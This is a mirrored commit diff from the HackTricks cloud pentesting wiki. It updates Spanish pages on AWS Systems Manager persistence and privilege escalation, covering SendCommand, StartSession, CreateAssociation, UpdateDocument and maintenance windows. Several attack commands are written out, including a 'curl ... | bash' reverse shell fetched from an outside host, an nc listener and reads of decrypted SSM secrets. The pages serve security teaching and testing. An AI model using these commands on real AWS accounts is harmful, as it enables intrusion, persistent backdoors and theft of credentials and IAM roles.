gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-04-28 12:03:08 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/aws-security/aws-persistence/aws-s

Browse Source
This commit is contained in:
Translator
2026-04-21 08:24:52 +00:00
parent 7d862f4e16
commit 039ce7d774
2 changed files with 126 additions and 27 deletions
Download Patch File Download Diff File Expand all files Collapse all files

60
src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md
View File

@@ -1,18 +1,18 @@
# AWS - SSM Persistencia
# AWS - SSM Perssitence
{{#include ../../../../banners/hacktricks-training.md}}
## SSM
Para más información consulta:
Para más información, revisa:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### Uso de ssm:CreateAssociation para persistencia
### Usando ssm:CreateAssociation para persistencia
Un atacante con el permiso **`ssm:CreateAssociation`** puede crear una State Manager Association para ejecutar comandos automáticamente en instancias EC2 gestionadas por SSM. Estas asociaciones se pueden configurar para ejecutarse a intervalos fijos, siendo adecuadas para persistencia tipo backdoor sin sesiones interactivas.
Un atacante con el permiso **`ssm:CreateAssociation`** puede crear una State Manager Association para ejecutar automáticamente comandos en instancias EC2 gestionadas por SSM. Estas asociaciones pueden configurarse para ejecutarse a un intervalo fijo, lo que las hace adecuadas para persistencia tipo backdoor sin sesiones interactivas.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -22,6 +22,56 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Este método de persistencia funciona siempre que la instancia EC2 esté gestionada por Systems Manager, el agente SSM esté en ejecución y el atacante tenga permiso para crear asociaciones. No requiere sesiones interactivas ni permisos explícitos de `ssm:SendCommand`. **Importante:** El parámetro `--schedule-expression` (p. ej., `rate(30 minutes)`) debe respetar el intervalo mínimo de AWS de 30 minutos. Para una ejecución inmediata o única, omita `--schedule-expression` por completo — la asociación se ejecutará una vez después de su creación.
> Este método de persistence funciona siempre que la instancia EC2 esté administrada por Systems Manager, el agente SSM esté en ejecución, y el atacante tenga permiso para crear associations. No requiere sesiones interactivas ni permisos explícitos `ssm:SendCommand`. **Importante:** el parámetro `--schedule-expression` (por ejemplo, `rate(30 minutes)`) debe respetar el intervalo mínimo de 30 minutos de AWS. Para ejecución inmediata o de una sola vez, omite `--schedule-expression` por completo — la association se ejecutará una vez después de su creación.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Un atacante con los permisos **`ssm:UpdateDocument`** y **`ssm:UpdateDocumentDefaultVersion`** puede escalar privilegios modificando documentos existentes. Esto también permite persistence dentro de ese documento. En la práctica, el atacante también necesitaría **`ssm:ListDocuments`** para obtener los nombres de los custom documents y, si el atacante quiere ofuscar su payload dentro de un documento existente, **`ssm:GetDocument`** también sería necesario.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
Debajo hay un documento de ejemplo que se puede usar para sobrescribir un documento existente. Querrás asegurarte de que el tipo de tu documento coincida con el tipo de los documentos objetivo para evitar problemas con la invocación. El documento de abajo, por ejemplo, usará los ejemplos **`ssm:SendCommand`** y **`ssm:CreateAssociation`**.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Un atacante con los permisos **`ssm:RegisterTaskWithMaintenanceWindow`** y **`ssm:RegisterTargetWithMaintenanceWindow`** puede escalar privilegios primero registrando un nuevo target con una maintenance window existente y luego actualizando el registro de una nueva task. Esto logra execution sobre los targets existentes, pero puede permitir a un atacante comprometer compute con diferentes roles al registrar nuevos targets. Esto también permite persistence, ya que las tasks de maintenance windows se ejecutan a un intervalo predefinido durante la creación de la window. En la práctica, el atacante también necesitaría **`ssm:DescribeMaintenanceWindows`** para obtener los IDs de la maintenance window.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
{{#include ../../../../banners/hacktricks-training.md}}

93
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md
View File

@@ -12,7 +12,7 @@ Para más información sobre SSM consulta:
### `ssm:SendCommand`
Un atacante con el permiso **`ssm:SendCommand`** puede **ejecutar comandos en instancias** donde se ejecuta el Amazon SSM Agent y **comprometer el IAM Role** que se ejecuta en ellas.
Un atacante con el permiso **`ssm:SendCommand`** puede **ejecutar comandos en instancias** que ejecutan el Amazon SSM Agent y **comprometer el IAM Role** que se ejecuta dentro de ellas.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
Si estás usando esta técnica para escalate privileges dentro de una instancia EC2 ya comprometida, puedes simplemente capturar el rev shell localmente con:
En caso de que estés usando esta técnica para escalar privilegios dentro de una instancia EC2 ya comprometida, podrías simplemente capturar la rev shell localmente con:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**Impacto potencial:** Privesc directo a los EC2 IAM roles adjuntos a instancias en ejecución con SSM Agents.
**Impacto potencial:** privesc directo a los roles IAM de EC2 adjuntos a instancias en ejecución con SSM Agents ejecutándose.
### `ssm:StartSession`
Un atacante con el permiso **`ssm:StartSession`** puede **iniciar una sesión tipo SSH en instancias** que ejecutan el Amazon SSM Agent y **comprometer el IAM Role** que corre dentro de la instancia.
Un atacante con el permiso **`ssm:StartSession`** puede **iniciar una sesión tipo SSH en instancias** que ejecuten el Amazon SSM Agent y **comprometer el IAM Role** que se ejecuta dentro de ellas.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -45,25 +45,25 @@ aws ssm describe-sessions --state Active
aws ssm start-session --target "$INSTANCE_ID"
```
> [!CAUTION]
> Para iniciar una sesión necesitas el **SessionManagerPlugin** instalado: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
> Para iniciar una sesión necesitas tener instalado **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
**Potential Impact:** Privesc directo a los EC2 IAM roles asociados a instancias en ejecución con SSM Agents.
**Impacto potencial:** Direct privesc a los roles IAM de EC2 adjuntos a instancias en ejecución con SSM Agents ejecutándose.
#### Privesc a ECS
#### Privesc to ECS
When **ECS tasks** run with **`ExecuteCommand` enabled** users with enough permissions can use `ecs execute-command` to **execute a command** inside the container.\
According to [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) this is done by creating a secure channel between the device you use to initiate the “_exec_“ command and the target container with SSM Session Manager. (SSM Session Manager Plugin necesario para que esto funcione)\
Therefore, users with `ssm:StartSession` will be able to **get a shell inside ECS tasks** with that option enabled just running:
Cuando las **ECS tasks** se ejecutan con **`ExecuteCommand` habilitado**, los usuarios con suficientes permisos pueden usar `ecs execute-command` para **ejecutar un comando** dentro del container.\
Según [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) esto se hace creando un canal seguro entre el dispositivo que usas para iniciar el comando “_exec_“ y el container objetivo con SSM Session Manager. (SSM Session Manager Plugin necesario para que esto funcione)\
Por lo tanto, los usuarios con `ssm:StartSession` podrán **obtener una shell dentro de ECS tasks** con esa opción habilitada simplemente ejecutando:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)
**Impacto potencial:** Privesc directo a los roles IAM de `ECS` adjuntos a tareas en ejecución con `ExecuteCommand` habilitado.
**Impacto potencial:** privesc directo a los roles `ECS`IAM adjuntos a tareas en ejecución con `ExecuteCommand` habilitado.
### `ssm:ResumeSession`
Un atacante con el permiso **`ssm:ResumeSession`** puede re-**iniciar una sesión tipo SSH en instancias** que ejecutan el Amazon SSM Agent con un estado de sesión SSM **desconectado** y **comprometer el IAM Role** que se ejecuta dentro de la misma.
Un atacante con el permiso **`ssm:ResumeSession`** puede re-**iniciar una sesión tipo SSH en instancias** que ejecutan el Amazon SSM Agent con un estado de sesión SSM **desconectado** y **comprometer el IAM Role** que se ejecuta dentro de ella.
```bash
# Check for configured instances
aws ssm describe-sessions
@@ -72,11 +72,11 @@ aws ssm describe-sessions
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**Impacto potencial:** Privesc directo a los EC2 IAM roles adjuntos a instancias en ejecución con SSM Agents activos y sesiones desconectadas.
**Impacto potencial:** privesc directo a los roles IAM de EC2 adjuntos a instancias en ejecución con SSM Agents en ejecución y sesiones desconectadas.
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
Un atacante con los permisos mencionados podrá listar los **SSM parameters** y **leerlos en texto claro**. En estos parámetros con frecuencia se puede **encontrar información sensible** como SSH keys o API keys.
Un atacante con los permisos mencionados podrá listar los **parámetros SSM** y **leerlos en texto claro**. En estos parámetros a menudo puedes **encontrar información sensible** como claves SSH o claves API.
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
@@ -87,15 +87,15 @@ aws ssm get-parameter --name id_rsa --with-decryption
### `ssm:ListCommands`
Un atacante con este permiso puede listar todos los **comandos** enviados y, con suerte, encontrar **información sensible** en ellos.
Un atacante con este permiso puede listar todos los **commands** enviados y, con suerte, encontrar **información sensible** en ellos.
```
aws ssm list-commands
```
**Impacto Potencial:** Encontrar información sensible dentro de las líneas de comando.
**Impacto potencial:** Encontrar información sensible dentro de las líneas de comando.
### `ssm:GetCommandInvocation`, (`ssm:ListCommandInvocations` | `ssm:ListCommands`)
Un atacante con estos permisos puede listar todos los **comandos** enviados y **leer la salida** generada, con la esperanza de encontrar **información sensible** en ella.
Un atacante con estos permisos puede listar todos los **commands** enviados y **leer la salida** generada, con suerte encontrando **información sensible** en ella.
```bash
# You can use any of both options to get the command-id and instance id
aws ssm list-commands
@@ -103,11 +103,11 @@ aws ssm list-command-invocations
aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Impacto potencial:** Encontrar información sensible en la salida de los comandos.
**Impacto potencial:** Encontrar información sensible dentro de la salida de las líneas de comando.
### Usando ssm:CreateAssociation
### Using ssm:CreateAssociation
Un atacante con el permiso **`ssm:CreateAssociation`** puede crear una State Manager Association para ejecutar automáticamente comandos en instancias EC2 gestionadas por SSM. Estas State Manager Associations pueden configurarse para ejecutarse a intervalos fijos, lo que las hace adecuadas para persistencia tipo backdoor sin sesiones interactivas.
Un atacante con el permiso **`ssm:CreateAssociation`** puede crear una State Manager Association para ejecutar comandos automáticamente en instancias EC2 gestionadas por SSM. Estas associations pueden configurarse para ejecutarse a un intervalo fijo, lo que las hace adecuadas para una persistencia tipo backdoor sin sesiones interactivas.
```bash
aws ssm create-association \
--name SSM-Document-Name \
@@ -117,11 +117,60 @@ aws ssm create-association \
--association-name association-name
```
> [!NOTE]
> Este método de persistencia funciona siempre que la instancia EC2 esté gestionada por Systems Manager, el agente SSM esté en ejecución y el atacante tenga permiso para crear asociaciones. No requiere sesiones interactivas ni permisos explícitos ssm:SendCommand. **Importante:** El parámetro `--schedule-expression` (por ejemplo, `rate(30 minutes)`) debe respetar el intervalo mínimo de AWS de 30 minutos. Para una ejecución inmediata o única, omite `--schedule-expression` por completo — la asociación se ejecutará una vez después de la creación.
> Este método de persistence funciona mientras la instancia EC2 esté gestionada por Systems Manager, el agente SSM esté ejecutándose, y el atacante tenga permiso para create associations. No requiere interactive sessions ni permisos explícitos de `ssm:SendCommand`. **Importante:** el parámetro `--schedule-expression` (por ejemplo, `rate(30 minutes)`) debe respetar el intervalo mínimo de AWS de 30 minutos. Para ejecución inmediata o de una sola vez, omite `--schedule-expression` por completo — la association se ejecutará una vez después de su creación.
### `ssm:UpdateDocument`, `ssm:UpdateDocumentDefaultVersion`, (`ssm:ListDocuments` | `ssm:GetDocument`)
Un atacante con los permisos **`ssm:UpdateDocument`** y **`ssm:UpdateDocumentDefaultVersion`** puede escalar privilegios modificando documentos existentes. Esto también permite persistence dentro de ese documento. En la práctica, el atacante también necesitaría **`ssm:ListDocuments`** para obtener los nombres de los custom documents y, si el atacante quiere ofuscar su payload dentro de un documento existente, **`ssm:GetDocument`** también sería necesario.
```bash
aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2
```
A continuación hay un documento de ejemplo que puede usarse para sobrescribir un documento existente. Querrás asegurarte de que el tipo de tu documento coincida con el tipo del documento objetivo para evitar problemas con la invocación. El documento de abajo, por ejemplo, funcionará con los ejemplos **`ssm:SendCommand`** y **`ssm:CreateAssociation`**.
```yaml
schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"
```
### `ssm:RegisterTaskWithMaintenanceWindow`, `ssm:RegisterTargetWithMaintenanceWindow`, (`ssm:DescribeMaintenanceWindows` | `ec2:DescribeInstances`)
Un atacante con los permisos **`ssm:RegisterTaskWithMaintenanceWindow`** y **`ssm:RegisterTargetWithMaintenanceWindow`** puede escalar privilegios registrando primero un nuevo target con una maintenance window existente y luego registrando una nueva task. Esto logra ejecución sobre los targets existentes, pero puede permitir a un atacante comprometer compute con distintos roles registrando nuevos targets. Esto también permite persistence, ya que las tasks de maintenance windows se ejecutan en un intervalo predefinido durante la creación de la window. En la práctica, el atacante también necesitaría **`ssm:DescribeMaintenanceWindows`** para obtener los IDs de la maintenance window.
``` bash
aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100
```
### Codebuild
También puedes usar SSM para acceder a un proyecto de codebuild que se está construyendo:
También puedes usar SSM para entrar en un proyecto de codebuild que se está construyendo:
{{#ref}}
../aws-codebuild-privesc/README.md